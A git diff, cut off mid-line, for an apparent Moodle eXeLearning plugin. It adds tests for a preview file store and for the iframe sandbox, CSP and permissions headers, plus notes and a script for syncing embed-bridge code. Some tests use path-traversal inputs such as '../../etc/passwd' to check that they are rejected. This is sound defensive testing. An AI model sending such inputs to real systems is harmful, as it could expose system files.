+    public function test_revision_publishes_documents(): void {
+        $result = $this->publish(0, 1, [
+            'index.html' => '<html><body>hi</body></html>',
+            'img/inline.svg' => '<svg xmlns="http://www.w3.org/2000/svg"></svg>',
+        ]);
+        $this->assertTrue($result['active']);
+        $this->assertSame(1, $result['revision']);
+
+        $session = $this->reload();
+        $this->assertSame(1, $session->revision);
+        $index = $session->get_file('index.html');
+        $this->assertSame('document', $index->kind);
+        $this->assertSame('<html><body>hi</body></html>', $index->bytes);
+        $this->assertTrue($index->scriptable);
+
+        // An SVG document is scriptable too (the "open image in a new tab" hole).
+        $this->assertTrue($session->get_file('img/inline.svg')->scriptable);
+    }
+
+    /**
+     * A stale baseRevision conflicts (409) with the current revision.
+     */
+    public function test_revision_conflict(): void {
+        $this->publish(0, 1, ['index.html' => 'v1']);
+        $conflict = $this->publish(0, 1, ['index.html' => 'stale']);
+        $this->assertSame(409, $conflict['status']);
+        $this->assertSame(1, $conflict['currentrevision']);
+    }
+
+    /**
+     * A non-consecutive nextRevision also conflicts.
+     */
+    public function test_revision_nonconsecutive_conflict(): void {
+        $conflict = $this->publish(0, 5, ['index.html' => 'x']);
+        $this->assertSame(409, $conflict['status']);
+        $this->assertSame(0, $conflict['currentrevision']);
+    }
+
+    /**
+     * An unsafe path anywhere in the revision rejects the whole revision (400).
+     */
+    public function test_revision_unsafe_path(): void {
+        $result = $this->publish(0, 1, ['../escape.html' => 'x']);
+        $this->assertSame(400, $result['status']);
+
+        $refescape = $this->publish(0, 1, ['index.html' => 'x'], ['../a.png' => self::PHOTO_KEY]);
+        $this->assertSame(400, $refescape['status']);
+    }
+
+    /**
+     * A revision referencing an asset the store never received is 422.
+     */
+    public function test_revision_missing_assets(): void {
+        $ghost = '99999999-9999-4999-8999-999999999999@deadbeef';
+        $result = $this->publish(0, 1, ['index.html' => 'x'], ['res/ghost.png' => $ghost]);
+        $this->assertSame(422, $result['status']);
+        $this->assertSame('missing-assets', $result['reason']);
+        $this->assertSame([$ghost], $result['missing']);
+    }
+
+    /**
+     * A revision referencing an unknown fixed resource is 422 (client demotes).
+     */
+    public function test_revision_unknown_fixed(): void {
+        $result = $this->publish(0, 1, ['index.html' => 'x'], [], ['libs/x.js' => 'libs/x.js']);
+        $this->assertSame(422, $result['status']);
+        $this->assertSame('unknown-fixed-resources', $result['reason']);
+        $this->assertSame(['libs/x.js'], $result['resources']);
+    }
+
+    /**
+     * The per-session file-count budget rejects an oversized revision (413).
+     */
+    public function test_revision_file_count_budget(): void {
+        session_store::set_limits_for_testing(['maxfilespersession' => 2]);
+        $result = $this->publish(0, 1, ['a.html' => '1', 'b.html' => '2', 'c.html' => '3']);
+        $this->assertSame(413, $result['status']);
+    }
+
+    /**
+     * The per-session byte budget rejects a document-heavy revision (413).
+     */
+    public function test_revision_byte_budget(): void {
+        session_store::set_limits_for_testing(['maxbytespersession' => 4]);
+        $result = $this->publish(0, 1, ['a.html' => 'too-many-bytes']);
+        $this->assertSame(413, $result['status']);
+    }
+
+    /**
+     * Unchanged documents copy forward across revisions; deletes drop them.
+     */
+    public function test_incremental_revisions_copy_forward_and_delete(): void {
+        $this->publish(0, 1, ['index.html' => 'INDEX-1', 'keep.html' => 'KEEP']);
+
+        // Revision 2 rewrites index and leaves keep untouched (delta upload).
+        $this->publish(1, 2, ['index.html' => 'INDEX-2']);
+        $session = $this->reload();
+        $this->assertSame('INDEX-2', $session->get_file('index.html')->bytes);
+        $this->assertSame('KEEP', $session->get_file('keep.html')->bytes, 'unchanged doc copied forward');
+
+        // Revision 3 deletes keep.
+        $this->publish(2, 3, [], [], [], ['keep.html']);
+        $session = $this->reload();
+        $this->assertNull($session->get_file('keep.html'));
+        $this->assertSame('INDEX-2', $session->get_file('index.html')->bytes);
+    }
+
+    /**
+     * The fixed layer resolves through the installed manifest; get_file returns
+     * the fixed bytes and marks the resource kind.
+     */
+    public function test_fixed_layer_resolution(): void {
+        $dist = make_request_directory();
+        mkdir($dist . '/libs', 0777, true);
+        mkdir($dist . '/bundles', 0777, true);
+        file_put_contents($dist . '/libs/jquery.js', 'JQ');
+        file_put_contents($dist . '/bundles/preview-fixed-resources.json', json_encode([
+            'schemaVersion' => 1,
+            'resources' => ['libs/jquery.js' => ['path' => 'libs/jquery.js', 'size' => 2]],
+        ]));
+        fixed_resources::configure($dist, $dist . '/bundles/preview-fixed-resources.json');
+
+        $this->publish(0, 1, ['index.html' => 'x'], [], ['vendor/jquery.js' => 'libs/jquery.js']);
+        $file = $this->reload()->get_file('vendor/jquery.js');
+        $this->assertSame('fixed', $file->kind);
+        $this->assertSame('JQ', $file->bytes);
+    }
+
+    /**
+     * get_file rejects traversal without touching the filesystem.
+     */
+    public function test_get_file_rejects_traversal(): void {
+        $this->publish(0, 1, ['index.html' => 'x']);
+        $this->assertNull($this->reload()->get_file('../../etc/passwd'));
+        $this->assertNull($this->reload()->get_file('%2e%2e%2fsecret'));
+    }
+
+    /**
+     * An idle-expired session serves nothing and is reaped on access.
+     */
+    public function test_idle_ttl_expiry(): void {
+        touch($this->root . '/' . $this->previewid . '/access', time() - 2000);
+        $this->assertNull(session_store::get_for_serving($this->previewid));
+        // The opportunistic check deleted it.
+        $this->assertSame(404, session_store::get_owned($this->previewid, $this->userid)['status']);
+    }
+
+    /**
+     * The scheduled sweep reaps expired sessions and leaves fresh ones.
+     */
+    public function test_sweep_expired(): void {
+        $fresh = session_store::create_session($this->userid);
+        touch($this->root . '/' . $this->previewid . '/access', time() - 2000);
+        $this->assertSame(1, session_store::sweep_expired());
+        $this->assertNotNull(session_store::get_for_serving($fresh));
+        $this->assertNull(session_store::get_for_serving($this->previewid));
+    }
+
+    /**
+     * Creating past the per-user cap LRU-evicts the owner's oldest session.
+     */
+    public function test_per_user_session_cap(): void {
+        session_store::set_limits_for_testing(['maxsessionsperuser' => 2]);
+        $second = session_store::create_session($this->userid);
+        // Make the first session the least-recently accessed, then create a third.
+        touch($this->root . '/' . $this->previewid . '/access', time() - 100);
+        touch($this->root . '/' . $second . '/access', time() - 50);
+        $third = session_store::create_session($this->userid);
+
+        $this->assertSame(404, session_store::get_owned($this->previewid, $this->userid)['status']);
+        $this->assertSame(200, session_store::get_owned($second, $this->userid)['status']);
+        $this->assertSame(200, session_store::get_owned($third, $this->userid)['status']);
+    }
+
+    /**
+     * A session is owner-scoped: another user gets 403, not the session.
+     */
+    public function test_ownership_scoping(): void {
+        $owned = session_store::get_owned($this->previewid, $this->userid + 1);
+        $this->assertSame(403, $owned['status']);
+        $this->assertNull($owned['session']);
+    }
+
+    /**
+     * Deleting a session kills the capability URL; a second delete is a no-op.
+     */
+    public function test_delete_session(): void {
+        $this->publish(0, 1, ['index.html' => 'x']);
+        $this->assertTrue(session_store::delete_session($this->previewid));
+        $this->assertNull(session_store::get_for_serving($this->previewid));
+        $this->assertFalse(session_store::delete_session($this->previewid));
+    }
+
+    /**
+     * A failed asset write is REJECTED (reason write-failed) and never indexed:
+     * the key is not added to the index or the byte counter, is not reported in
+     * stored, and a later revision referencing it 422s on missing-assets. Failure
+     * is forced root-safely by pre-creating the asset's on-disk target as a
+     * directory, so the byte write cannot succeed for any uid.
+     */
+    public function test_asset_write_failure_is_rejected_and_not_indexed(): void {
+        $target = $this->root . '/' . $this->previewid . '/assets/'
+            . session_store::asset_basename(self::PHOTO_KEY);
+        mkdir($target, 0777, true);
+
+        $result = $this->store([self::PHOTO_KEY => 'abc']);
+        $this->assertSame([], $result['stored']);
+        $this->assertSame([['key' => self::PHOTO_KEY, 'reason' => 'write-failed']], $result['rejected']);
+
+        // Not indexed: a revision that references the key fails missing-assets.
+        $missing = $this->publish(0, 1, ['index.html' => 'x'], ['res/photo.png' => self::PHOTO_KEY]);
+        $this->assertSame(422, $missing['status']);
+        $this->assertSame('missing-assets', $missing['reason']);
+    }
+
+    /**
+     * When staging a revision cannot copy an unchanged document forward, the whole
+     * publish aborts BEFORE the pointer swap: the store returns 500, the active
+     * revision and its bytes are untouched, and the staged revision is discarded.
+     * The copy is forced to fail root-safely by removing its source document.
+     */
+    public function test_revision_publish_aborts_on_doc_copy_failure(): void {
+        $this->publish(0, 1, ['index.html' => 'I1', 'keep.html' => 'KEEP']);
+
+        // Remove the carried-forward source so copy() fails while staging r2.
+        $source = $this->root . '/' . $this->previewid . '/revisions/1/'
+            . session_store::doc_basename('keep.html');
+        unlink($source);
+
+        $result = $this->publish(1, 2, ['index.html' => 'I2']);
+        $this->assertSame(500, $result['status']);
+
+        // No swap: still revision 1, still the original index bytes.
+        $session = $this->reload();
+        $this->assertSame(1, $session->revision);
+        $this->assertSame('I1', $session->get_file('index.html')->bytes);
+        // The staged revision directory was discarded.
+        $this->assertDirectoryDoesNotExist($this->root . '/' . $this->previewid . '/revisions/2');
+    }
+
+    /**
+     * When staging a revision cannot write a changed document, the publish aborts
+     * BEFORE the pointer swap (500) and the active revision stays at 0. Failure is
+     * forced root-safely by occupying the staged revision path with a plain file,
+     * so both make_dir and the byte write fail; the make_dir warning is swallowed.
+     */
+    public function test_revision_publish_aborts_on_doc_write_failure(): void {
+        $revdir = $this->root . '/' . $this->previewid . '/revisions/1';
+        file_put_contents($revdir, 'blocker');
+
+        $result = $this->suppress_warnings(function () {
+            return $this->publish(0, 1, ['index.html' => 'x']);
+        });
+        $this->assertSame(500, $result['status']);
+        $this->assertSame(0, $this->reload()->revision);
+    }
+
+    /**
+     * When staging a revision cannot write revision.json, the publish aborts
+     * BEFORE the pointer swap (500) and the active revision stays at 0 — a
+     * revision must never go live with a missing manifest (every path would 404).
+     * A zero-document revision makes revision.json the only write; occupying the
+     * staged revision path with a plain file fails it root-safely.
+     */
+    public function test_revision_publish_aborts_on_manifest_write_failure(): void {
+        $revdir = $this->root . '/' . $this->previewid . '/revisions/1';
+        file_put_contents($revdir, 'blocker');
+
+        $result = $this->suppress_warnings(function () {
+            return $this->publish(0, 1, []);
+        });
+        $this->assertSame(500, $result['status']);
+        $this->assertSame(0, $this->reload()->revision);
+    }
+
+    /**
+     * serve() ignores a malformed / multi-range Range (a full 200, never 206 or
+     * 416) but still 416s a syntactically valid unsatisfiable single range.
+     */
+    public function test_serve_ignores_malformed_range(): void {
+        $this->store([self::PHOTO_KEY => '0123456789']);
+        $this->publish(0, 1, ['index.html' => 'x'], ['media/clip.bin' => self::PHOTO_KEY]);
+        $session = $this->reload();
+
+        $ignored = serving::serve($session, 'media/clip.bin', ['range' => 'bytes=0-1,4-5']);
+        $this->assertSame(200, $ignored['status']);
+        $this->assertSame('0123456789', $ignored['body']);
+        $this->assertArrayNotHasKey('Content-Range', $ignored['headers']);
+
+        $unsatisfiable = serving::serve($session, 'media/clip.bin', ['range' => 'bytes=99-']);
+        $this->assertSame(416, $unsatisfiable['status']);
+    }
+
+    /**
+     * A multi-asset upload scans the store (enumerate/scandir) exactly ONCE for
+     * the whole batch, not once per entry — the per-entry scan was O(entries ×
+     * sessions) and would enumerate() five times for this five-asset batch.
+     */
+    public function test_store_assets_scans_the_store_once_per_batch(): void {
+        $assets = [];
+        for ($i = 1; $i <= 5; $i++) {
+            $key = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff' . sprintf('%04d', $i) . '@' . sprintf('%08d', $i);
+            $assets[$key] = 'bytes-' . $i;
+        }
+
+        session_store::reset_enumerate_count_for_testing();
+        $result = $this->store($assets);
+
+        $this->assertCount(5, $result['stored']);
+        $this->assertSame(1, session_store::enumerate_count_for_testing());
+    }
+
+    /**
+     * Storing under a tight global ceiling still LRU-evicts other sessions from
+     * the once-per-batch snapshot (behaviour preserved by the O(1)-per-entry
+     * refactor): a second session's asset fits only after the older session is
+     * evicted.
+     */
+    public function test_store_assets_evicts_lru_under_global_ceiling(): void {
+        session_store::set_limits_for_testing(['globalmaxbytes' => 12]);
+
+        // Session A holds 8 bytes and is made the least-recently-accessed.
+        $this->store([self::PHOTO_KEY => '01234567']);
+        touch($this->root . '/' . $this->previewid . '/access', time() - 100);
+
+        // Session B stores 8 bytes: 8 (B) + 8 (A) = 16 > 12, so A must be evicted.
+        $b = session_store::create_session($this->userid);
+        $result = session_store::store_assets(
+            session_store::get_owned($b, $this->userid)['session'],
+            [['key' => self::CLIP_KEY, 'declaredsize' => 8, 'bytes' => '89abcdef']]
+        );
+
+        $this->assertSame([self::CLIP_KEY], $result['stored']);
+        $this->assertSame(404, session_store::get_owned($this->previewid, $this->userid)['status']);
+        $this->assertSame(200, session_store::get_owned($b, $this->userid)['status']);
+    }
+
+    /**
+     * Run $fn with PHP warnings/notices swallowed. A forced filesystem failure
+     * raises an unrelated make_dir warning that phpunit --fail-on-warning would
+     * otherwise turn into a failure; the code under test handles the real error
+     * through its checked return, not the warning.
+     *
+     * @param callable $fn
+     * @return mixed
+     */
+    private function suppress_warnings(callable $fn) {
+        set_error_handler(static function () {
+            return true;
+        }, E_WARNING | E_NOTICE);
+        try {
+            return $fn();
+        } finally {
+            restore_error_handler();
+        }
+    }
+}
diff --git a/tests/local/scorm/scorm_injector_test.php b/tests/local/scorm/scorm_injector_test.php
index 6459697..e60330c 100644
--- a/tests/local/scorm/scorm_injector_test.php
+++ b/tests/local/scorm/scorm_injector_test.php
@@ -84,9 +84,14 @@ public function test_inject_rewrites_html_with_relative_paths_and_is_idempotent(
         $this->assertStringContainsString('<script src="libs/SCORM_API_wrapper.js"></script>', $index);
         $this->assertStringContainsString('pipwerks.SCORM.init()', $index);
 
+        // The external-embed shim is baked too (no host list: the parent relay gates).
+        $this->assertStringContainsString('<!-- mod_exelearning:embed-shim -->', $index);
+        $this->assertStringContainsString('<script src="libs/exe_embed_shim.js"></script>', $index);
+
         // Nested page: relative path climbs one level (../libs/...).
         $page = $fs->get_file($contextid, 'mod_exelearning', 'content', $revision, '/html/', 'page.html')->get_content();
         $this->assertStringContainsString('<script src="../libs/SCORM_API_wrapper.js"></script>', $page);
+        $this->assertStringContainsString('<script src="../libs/exe_embed_shim.js"></script>', $page);
 
         // Non-HTML asset is untouched.
         $css = $fs->get_file($contextid, 'mod_exelearning', 'content', $revision, '/css/', 'style.css')->get_content();
diff --git a/tests/player_iframe_test.php b/tests/player_iframe_test.php
new file mode 100644
index 0000000..422360c
--- /dev/null
+++ b/tests/player_iframe_test.php
@@ -0,0 +1,219 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning;
+
+use advanced_testcase;
+use mod_exelearning\local\ui\player_iframe;
+
+/**
+ * Tests for the package iframe security mode + sandbox policy (DEC-0059).
+ *
+ * @package    mod_exelearning
+ * @category   test
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ * @covers     \mod_exelearning\local\ui\player_iframe
+ */
+final class player_iframe_test extends advanced_testcase {
+    /**
+     * The default (no config set) must be the secure, isolated mode.
+     */
+    public function test_default_mode_is_secure(): void {
+        $this->resetAfterTest();
+        $this->assertSame(player_iframe::MODE_SECURE, player_iframe::resolve_mode());
+        $this->assertTrue(player_iframe::is_secure());
+    }
+
+    /**
+     * An unset/invalid config must fail safe to secure, never weakening isolation.
+     */
+    public function test_invalid_mode_falls_back_to_secure(): void {
+        $this->resetAfterTest();
+        set_config('iframemode', 'not-a-real-mode', 'mod_exelearning');
+        $this->assertSame(player_iframe::MODE_SECURE, player_iframe::resolve_mode());
+        $this->assertTrue(player_iframe::is_secure());
+    }
+
+    /**
+     * Legacy mode was removed: a leftover iframemode=legacy config is ignored and the
+     * package still renders secure (no silent downgrade to same-origin).
+     */
+    public function test_legacy_config_is_ignored(): void {
+        $this->resetAfterTest();
+        set_config('iframemode', 'legacy', 'mod_exelearning');
+        $this->assertSame(player_iframe::MODE_SECURE, player_iframe::resolve_mode());
+        $this->assertTrue(player_iframe::is_secure());
+    }
+
+    /**
+     * The dev-only escape hatch defaults off: with no constant or env var set, the mode is secure.
+     */
+    public function test_unsafe_legacy_defaults_off(): void {
+        $this->assertFalse(player_iframe::is_unsafe_legacy());
+        $this->assertSame(player_iframe::MODE_SECURE, player_iframe::resolve_mode());
+    }
+
+    /**
+     * The dev-only EXELEARNING_UNSAFE_LEGACY_IFRAME escape hatch (here through its env var) switches
+     * to the same-origin legacy iframe and drops the CSP sandbox directive, so a service worker that
+     * only serves same-origin documents (the php-wasm Playground) can load the package CSS/JS. This
+     * path is never reachable from a Moodle setting.
+     */
+    public function test_unsafe_legacy_env_enables_same_origin(): void {
+        putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME=1');
+        try {
+            $this->assertTrue(player_iframe::is_unsafe_legacy());
+            $this->assertSame(player_iframe::MODE_LEGACY, player_iframe::resolve_mode());
+            $this->assertFalse(player_iframe::is_secure());
+            $this->assertStringContainsString('allow-same-origin', player_iframe::sandbox_tokens());
+            $csp = player_iframe::content_security_policy('https://moodle.example.net');
+            $this->assertStringNotContainsString('sandbox', $csp);
+        } finally {
+            putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME');
+        }
+    }
+
+    /**
+     * The package always runs in an opaque origin: the sandbox tokens MUST drop
+     * allow-same-origin and allow-popups-to-escape-sandbox, keep the scripts/popups/forms
+     * the iDevices need, and never grant top navigation or modals.
+     */
+    public function test_secure_sandbox_tokens(): void {
+        $tokens = player_iframe::sandbox_tokens();
+        $list = explode(' ', $tokens);
+
+        $this->assertContains('allow-scripts', $list);
+        $this->assertContains('allow-popups', $list);
+        $this->assertContains('allow-forms', $list);
+
+        $this->assertNotContains('allow-same-origin', $list);
+        $this->assertNotContains('allow-popups-to-escape-sandbox', $list);
+        $this->assertNotContains('allow-top-navigation', $list);
+        $this->assertNotContains('allow-top-navigation-by-user-activation', $list);
+        $this->assertNotContains('allow-modals', $list);
+    }
+
+    /**
+     * Permissions-Policy denies sensors/hardware but never fullscreen (the iframe
+     * grants it and iDevices use it).
+     */
+    public function test_permissions_policy(): void {
+        $pp = player_iframe::permissions_policy();
+        $this->assertStringContainsString('camera=()', $pp);
+        $this->assertStringContainsString('microphone=()', $pp);
+        $this->assertStringContainsString('geolocation=()', $pp);
+        $this->assertStringNotContainsString('fullscreen', $pp);
+    }
+
+    /**
+     * The CSP hardens object/base/framing and pins connect-src to this site (so the
+     * file token cannot be fetch-exfiltrated), while keeping the inline/eval scripts
+     * eXeLearning needs. The passed site origin must appear in the source lists.
+     */
+    public function test_content_security_policy(): void {
+        $origin = 'https://moodle.example.net';
+        $csp = player_iframe::content_security_policy($origin);
+
+        $this->assertStringContainsString("object-src 'none'", $csp);
+        $this->assertStringContainsString("base-uri 'none'", $csp);
+        $this->assertStringContainsString("frame-ancestors 'self'", $csp);
+        // A sandbox directive keeps the document opaque even when opened outside the
+        // iframe (e.g. the token URL opened in a new tab), so author JS cannot run as
+        // Moodle's origin. Tokens mirror the secure iframe sandbox.
+        $this->assertStringContainsString('sandbox allow-scripts allow-popups allow-forms', $csp);
+        $this->assertStringContainsString("connect-src 'self' $origin;", $csp);
+        // Inline + eval'd scripts are required by the eXeLearning engine.
+        $this->assertStringContainsString("'unsafe-inline'", $csp);
+        $this->assertStringContainsString("'unsafe-eval'", $csp);
+        // Strict (default): NO bare `https:` in ANY source list, so the per-user file token
+        // in the URL cannot be exfiltrated via img/script/media; only explicit origins like
+        // https://host (followed by //) are allowed. frame-src is limited to the providers.
+        $this->assertDoesNotMatchRegularExpression('~\bhttps:(?!//)~', $csp);
+        $this->assertStringContainsString('https://www.youtube-nocookie.com', $csp);
+        $this->assertStringContainsString('https://player.vimeo.com', $csp);
+    }
+
+    /**
+     * content_headers() emits Referrer-Policy + nosniff on every secure-mode file and adds
+     * the document-level CSP + Permissions-Policy for an HTML document, deriving the CSP
+     * origin from $CFG->wwwroot (path stripped). The package always renders secure.
+     */
+    public function test_content_headers(): void {
+        $this->resetAfterTest();
+
+        // Secure (default) + HTML document: all four headers, origin stripped from wwwroot.
+        $headers = player_iframe::content_headers('index.html', 'https://moodle.example.net/sub');
+        $this->assertArrayHasKey('Content-Security-Policy', $headers);
+        $this->assertArrayHasKey('Permissions-Policy', $headers);
+        $this->assertSame('no-referrer', $headers['Referrer-Policy']);
+        $this->assertSame('nosniff', $headers['X-Content-Type-Options']);
+        $this->assertStringContainsString("'self' https://moodle.example.net;", $headers['Content-Security-Policy']);
+        $this->assertStringNotContainsString('/sub', $headers['Content-Security-Policy']);
+
+        // Secure + non-HTML subresource: the per-file token-protection headers still apply
+        // (the token rides in the URL of CSS/JS too), but not the document-level CSP.
+        $sub = player_iframe::content_headers('libs/base.css', 'https://moodle.example.net');
+        $this->assertSame('no-referrer', $sub['Referrer-Policy']);
+        $this->assertSame('nosniff', $sub['X-Content-Type-Options']);
+        $this->assertArrayNotHasKey('Content-Security-Policy', $sub);
+        $this->assertArrayNotHasKey('Permissions-Policy', $sub);
+
+        // Legacy mode was removed: a leftover iframemode=legacy config still emits the secure
+        // headers (no silent downgrade).
+        set_config('iframemode', 'legacy', 'mod_exelearning');
+        $legacy = player_iframe::content_headers('index.html', 'https://moodle.example.net');
+        $this->assertArrayHasKey('Content-Security-Policy', $legacy);
+        $this->assertSame('no-referrer', $legacy['Referrer-Policy']);
+    }
+
+    /**
+     * The compatible CSP profile re-opens img/media to https: (documented weaker), while the
+     * package iframe still renders opaque-origin (the CSP sandbox directive is unchanged).
+     */
+    public function test_csp_compatible_profile_allows_external_https(): void {
+        $origin = 'https://moodle.example.net';
+        $csp = player_iframe::content_security_policy($origin, player_iframe::CSP_COMPATIBLE);
+        $this->assertMatchesRegularExpression('~img-src[^;]*\bhttps:(?!//)~', $csp);
+        $this->assertMatchesRegularExpression('~media-src[^;]*\bhttps:(?!//)~', $csp);
+        $this->assertStringContainsString('sandbox allow-scripts allow-popups allow-forms', $csp);
+    }
+
+    /**
+     * csp_profile() defaults to strict; an unset or unrecognised value fails safe to strict.
+     */
+    public function test_csp_profile_defaults_strict(): void {
+        $this->resetAfterTest();
+        $this->assertSame(player_iframe::CSP_STRICT, player_iframe::csp_profile());
+        set_config('cspprofile', 'bogus', 'mod_exelearning');
+        $this->assertSame(player_iframe::CSP_STRICT, player_iframe::csp_profile());
+        set_config('cspprofile', player_iframe::CSP_COMPATIBLE, 'mod_exelearning');
+        $this->assertSame(player_iframe::CSP_COMPATIBLE, player_iframe::csp_profile());
+    }
+
+    /**
+     * The external-embed policy defaults to strict; an unset or unrecognised value fails safe
+     * to strict, and 'open' must be explicitly configured.
+     */
+    public function test_embed_mode_defaults_strict(): void {
+        $this->resetAfterTest();
+        $this->assertSame(player_iframe::EMBED_STRICT, player_iframe::embed_mode());
+        set_config('embedmode', 'bogus', 'mod_exelearning');
+        $this->assertSame(player_iframe::EMBED_STRICT, player_iframe::embed_mode());
+        set_config('embedmode', player_iframe::EMBED_OPEN, 'mod_exelearning');
+        $this->assertSame(player_iframe::EMBED_OPEN, player_iframe::embed_mode());
+    }
+}
diff --git a/tools/EMBED-SYNC.md b/tools/EMBED-SYNC.md
new file mode 100644
index 0000000..efdfa55
--- /dev/null
+++ b/tools/EMBED-SYNC.md
@@ -0,0 +1,39 @@
+# Shared embedder drift control
+
+eXeLearning's secure-iframe support vendors the same bridge logic into several repos.
+`tools/check-embed-sync.mjs` verifies the copies have not drifted (a required logic invariant
+is present in every copy).
+
+## Canonical sources
+
+- **Promote-to-parent embed relay + shim** (`exe_embed_relay.js`, `exe_embed_shim.js`, sandbox
+  PHP): **mod_exelearning** is canonical; `wp-exelearning`, `omeka-s-exelearning` and Procomún
+  mirror it.
+- **Modal media-bridge policy** (`exe_media_policy.js`): **eXeLearning core**
+  (`public/app/common/exe_media_bridge/`) is canonical; mod/wp/omeka/procomun vendor it.
+- **Modal media host** (`exe_media_host.js`): **mod_exelearning** is canonical for the
+  raw-postMessage host that wp/omeka/procomun mirror. eXe **core** ships a *separate*
+  SDK-based host fork (`exe-media-host.js`), so it is intentionally not compared for `mediahost`.
+
+## Run
+
+```bash
+node tools/check-embed-sync.mjs \
+  --core <eXe> --wp <wp-exelearning> --omeka <omeka-s-exelearning> --procomun <procomun>
+```
+
+Exits non-zero on drift. The check normalises whitespace and quote style, so tabs-vs-spaces and
+the IIFE/dual-export wrapper do not count as drift; only missing logic invariants do.
+
+## On a protocol change
+
+Update the canonical file, copy the logic into each mirror (keeping each repo's wrapper and
+comment header), add the new guarantee to the relevant `*_INVARIANTS` list in
+`check-embed-sync.mjs`, and re-run the checker against every mirror.
+
+## CI
+
+There is no shared CI infra across these repos, so the checker is not yet a per-repo CI gate.
+Until shared infra exists, running it (with the mirror flags) is a **required step in the PR
+checklist** whenever a shared embedder file changes. A repo can wire it into CI by sparse-cloning
+the canonical files of the other repos and running the checker with the mirror flags.
diff --git a/tools/check-embed-sync.mjs b/tools/check-embed-sync.mjs
new file mode 100644
index 0000000..475aff4
--- /dev/null
+++ b/tools/check-embed-sync.mjs
@@ -0,0 +1,145 @@
+#!/usr/bin/env node
+// Maintenance helper: verify the shared eXeLearning embedder logic stays in sync across repos.
+//
+// Two bridges are covered:
+//   - the promote-to-parent EMBED relay/shim (relay/shim/php) -- mod_exelearning is canonical,
+//     wp/omeka/procomun mirror it; and
+//   - the MODAL media bridge (mediapolicy/mediahost) -- eXe core is canonical for the policy;
+//     the host copies (mod canonical, wp/omeka/procomun) mirror the raw-postMessage host
+//     (core ships a separate SDK-based host fork, so it is not a 'mediahost' target).
+//
+// This is NOT yet a CI gate (there is no shared CI infra across the repos); it is a local
+// check to run before/after touching any shared embedder file. Exits non-zero when a copy
+// has drifted (a required invariant is missing).
+//
+// Usage (mirror paths via flags or *_EXE_DIR env vars):
+//   node tools/check-embed-sync.mjs --core <eXe> --wp <wp> --omeka <omeka> --procomun <procomun>
+// With no mirror paths it only sanity-checks the canonical mod files.
+
+import fs from 'node:fs';
+import path from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const MOD_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..');
+
+/** Parse --wp / --omeka flags, falling back to env vars. */
+function resolveMirrors() {
+    const args = process.argv.slice(2);
+    const get = (flag) => {
+        const i = args.indexOf(flag);
+        return i !== -1 && args[i + 1] ? args[i + 1] : null;
+    };
+    return {
+        wp: get('--wp') || process.env.WP_EXE_DIR || null,
+        omeka: get('--omeka') || process.env.OMEKA_EXE_DIR || null,
+        procomun: get('--procomun') || process.env.PROCOMUN_EXE_DIR || null,
+        core: get('--core') || process.env.CORE_EXE_DIR || null,
+    };
+}
+
+// Logic invariants every RELAY copy must contain (normalised: whitespace + quote style
+// are ignored, so tabs-vs-spaces and the IIFE wrapper do not count as drift).
+const RELAY_INVARIANTS = [
+    'isCrossOriginHttps',                  // open-mode structural invariant (DEC-0061)
+    'normalizeHost',                       // trailing-dot FQDN-root normalisation (no host. bypass)
+    'url.origin === window.location.origin', // cross-origin gate (rejects same-origin)
+    'allow-scripts allow-same-origin allow-popups allow-forms allow-presentation', // video sandbox
+    "frame.setAttribute('sandbox', 'allow-same-origin')", // cross-origin PDF sandbox: no scripts/top-nav (audit M-3)
+    'data-exe-embed-player',              // forged-message defence (D2)
+    'data-exe-embed-src',                 // the page-navigation (id-reuse) fix
+    'Math.min(embed.w, rect.width)',      // overlay clamp (clickjacking defence)
+    'youtube-nocookie.com/embed/',        // strict-mode per-provider reconstruction
+    'reconstructProvider',                // id-only provider channel (DEC-0067)
+];
+
+// Logic invariants every SHIM copy must contain.
+const SHIM_INVARIANTS = [
+    'isCrossOriginHttps',                 // promote any cross-origin https iframe
+    'data-exe-embed-id',
+    'data-exe-embed-url',
+    '.pdf$',                              // the PDF detector (promote PDFs too)
+    'extractProvider',                    // id-only provider channel (DEC-0067)
+];
+
+// Host + token + setting invariants every sandbox PHP must contain.
+const PHP_INVARIANTS = [
+    'www.dailymotion.com',
+    'mediateca.educa.madrid.org',
+    'allow-scripts allow-popups allow-forms', // secure tokens (normalised, order matters)
+    'embedmode',                          // the open/strict embed policy setting (DEC-0061)
+];
+
+// Invariants every MODAL-bridge policy copy must contain (exe_media_policy.js). Shared by eXe
+// core and the host vendor copies; conservative (contract/function names, not impl details).
+const MEDIA_POLICY_INVARIANTS = [
+    'canonicalEmbedUrl',                  // parent reconstructs the URL (never trusts the child)
+    'validateCommand',                    // closed action enum + nonce + payload checks
+    'youtube-nocookie.com/embed/',        // canonical YouTube template
+    'player.vimeo.com/video/',            // canonical Vimeo template
+    'exelearningBridge',                  // per-view nonce field
+];
+
+// Invariants every MODAL-bridge host copy must contain (exe_media_host.js raw-postMessage
+// variant). The host copies (mod canonical, wp/omeka/procomun mirrors) share these; eXe core
+// ships a separate SDK-based fork, so 'core' is intentionally not a target for this kind.
+const MEDIA_HOST_INVARIANTS = [
+    'processCommand',                     // the command relay
+    'exelearningBridge',                  // nonce gate
+    'destroyAdapter',                     // adapter/poll-timer teardown
+    'exe-media-modal',                    // the accessible <dialog> class
+];
+
+const FILES = {
+    relay: { mod: 'js/exe_embed_relay.js', wp: 'assets/js/exe-embed-relay.js', omeka: 'asset/js/exe-embed-relay.js', procomun: 'apps/frontend/public/elpx/exe_embed_relay.js', invariants: RELAY_INVARIANTS },
